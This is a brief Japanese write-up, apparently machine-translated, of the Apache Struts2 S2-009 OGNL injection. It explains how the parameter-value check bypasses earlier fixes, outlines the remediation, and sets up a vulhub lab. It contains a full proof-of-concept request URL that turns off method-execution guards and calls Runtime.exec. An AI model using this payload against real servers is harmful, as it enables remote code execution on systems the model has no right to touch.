0x00 序文
009 は 003 と 005 に基づいてバイパスされます。ParameterInterceptor はパラメーターを検出しますが、パラメーターの値は検出しないため、バイパスが形成されます。
0x01 テキスト
1.環境設定
ヴァルハブを使うだけ
ポク:
test.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28aaa%29&z[%28foo%29%28%27aaa%27%29]=true
2. 簡単な分析
ongl が呼び出される前に、 foo の値は root として扱われます
。これは単にインデックス辞書のようなもので、ツリー内で変数が見つかった場合は、ルートからインデックスが作成されます。
それ以外の内容は実は003や005とあまり変わりません。
0x02修正
修復方法は当然パラメータ名の検出から始まり、パラメータ値の検出を追加しますが、基本的には正規のルールに基づいてブラックリストを取得します。